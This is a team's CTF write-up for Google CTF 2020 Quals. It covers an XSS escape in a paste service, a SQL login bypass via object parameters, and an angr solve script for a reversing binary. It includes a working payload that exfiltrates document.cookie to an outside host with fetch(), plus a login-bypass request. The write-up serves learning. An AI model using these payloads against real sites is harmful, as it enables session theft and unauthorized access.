Google CTF 2020 Quals
Google CTF 2020 Quals with UETCTF - 282nd - 137pts.
Good ctf with several categories, unfortunately we were not able to play with our best.
[web] PASTEURIZE - 50pts
The challenge give us a link to a site https://pasteurize.web.ctfcompetition.com/ where we can create a paste.
Each paste has a GUID attached and an option to share the paste with TJMike. Sounds like a typical XSS challenge :')
I quickly test some XSS payloads but no luck. Basic HTML tags can get through which indicate that we have a filter somewhere to bypass.
We also have the source code at /source
so let’s take a look at the source first. We have:
- A
/report
which tells TJMike the GUID of your note to visit.
- A
/<GUID>
to view the note. Properly escaped as said in the comment with theescape_string
function before throwing the data into a template and deliver it to our browser.
The escape_string
function is simply as follow:
The moment I found this function, I asked myself where my <script>
tags gone as I did’t found it filtered anywhere in the source. Turns out it was front-end sanitization.
In the frontend code I can see my note in plaintext escaped with escape_string
embedded. The note string get sanitized with DOMPurify.sanitize
and put into note_url_el.innerHTML
. The DOMPurify
library might not be the vulnerability because it is recommended by many tutorial for frontend sanitization.
Another idea is, if we can somehow insert a quote "
to break out of the string which is embedded into the template, we can run our javascript. Simply inserting a double quote "
results in a escaped quote \"
and is not what we want.
The escape_string
function takes a string, do JSON.stringify
on it, .slice(1, -1)
and then escape the angle brackets <>
. This assume unsave
to always be a string so the double quotes will be at the start and end of the whole string. unsafe
is taken from user input.
By providing an array as POST parameter like content[]=a
, I successfully break out of the string, results in a broken javascript. escape_string
convert my input into ["a"]
and then the square brackets are trimmed.
Nice! Let’s build our payload. We want to break out of the string, put a semicolon and then our js. A payload like content[]=;alert(1)//
should do the trick.
Now just craft a payload to steal the user cookie, send our note to TJMike and get the flag.
content[]=;fetch('https://tacbliw.free.beeceptor.com/?c='%2Bdocument.cookie)//
Flag: CTF{Express_t0_Tr0ubl3s}
[web] LOG-ME-IN - 87pts
We have the challenge’s source code and a link to the challenge website. The website allows users to login with username and password, a /flag
to get the flag.
Let’s see how the login implemented.
The /login
takes a username
and a password
parameter, and perform a SQL query to validate the password. If the password is correct, it check if our username is targetUser
or not to set the flag.
Normal SQLi doesn’t work because of the con.query
which will correctly bind input values into the SQL statement.
I quickly setup a test server to see if we can mess up with the parameter. The test server takes some user input and echo back the SQL statement after the binding.
After a few test I realized that I could provide my parameters as a dictionary and get some “weird” result.
If the variable passed to con.query
is a dictionary, we get `key` = 'value'
replaced into the query string. Trying that statement give us an interesting error:
ERROR: 1054: Unknown column 'a' in 'where clause'
It’s trying to interpret our key as a column name because of the backticks `
. Using a valid column name as the key and the error is gone. Bingo :D
sql > Select * from users where username = 'michelle' and password = `username` = 'b';
+----------+----------+
| username | password |
+----------+----------+
| michelle | secret |
+----------+----------+
1 row in set, 1 warning (0.0024 sec)
Warning (code 1292): Truncated incorrect DOUBLE value: 'b'
Now we are able to login and get the flag. My final payload is
csrf=fc53dfbc-dd24-44e1-b791-90ee7d06c606&password[username]=a&username=michelle
Flag: CTF{a-premium-effort-deserves-a-premium-flag}
[rev] BEGINNER - 50pts
I didn’t solve this challenge on time as I had trouble rewriting the logic in Python. But I decided to share my process and then finally the solution in writeups :v
The challenge give us an ELF binary, let’s open it in ida.
The program reads 15 character from stdin, do some magic stuff and check with strcmp
. It’s clear that we have to type in the correct flag and it will puts("SUCCESS")
.
My first idea was to replicate the logic of _mm_xor_si128
, _mm_add_epi32
, _mm_shuffle_epi8
in Python, with the data harcoded in the binary.
The documentation about the functions can be found here.
I struggled a lot with the logic and didn’t get it to work. Looking at writeups after the competition ends, I saw people using Angr to solve it so freaking easily :'(
Final solve.py
script from Dvd848 looks like this. Original writeup.
import angr
import claripy
FLAG_LEN = 15
STDIN_FD = 0
base_addr = 0x100000 # To match addresses to Ghidra
proj = angr.Project("./a.out", main_opts={'base_addr': base_addr})
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(FLAG_LEN)]
flag = claripy.Concat( *flag_chars + [claripy.BVV(b'\n')]) # Add \n for scanf() to accept the input
state = proj.factory.full_init_state(
args=['./a.out'],
add_options=angr.options.unicorn,
stdin=flag,
)
# Add constraints that all characters are printable
for k in flag_chars:
state.solver.add(k >= ord('!'))
state.solver.add(k <= ord('~'))
simgr = proj.factory.simulation_manager(state)
find_addr = 0x101124 # SUCCESS
avoid_addr = 0x10110d # FAILURE
simgr.explore(find=find_addr, avoid=avoid_addr)
if (len(simgr.found) > 0):
for found in simgr.found:
print(found.posix.dumps(STDIN_FD))
Definitely learn Angr :'( . Flag: CTF{S1MDf0rM3!}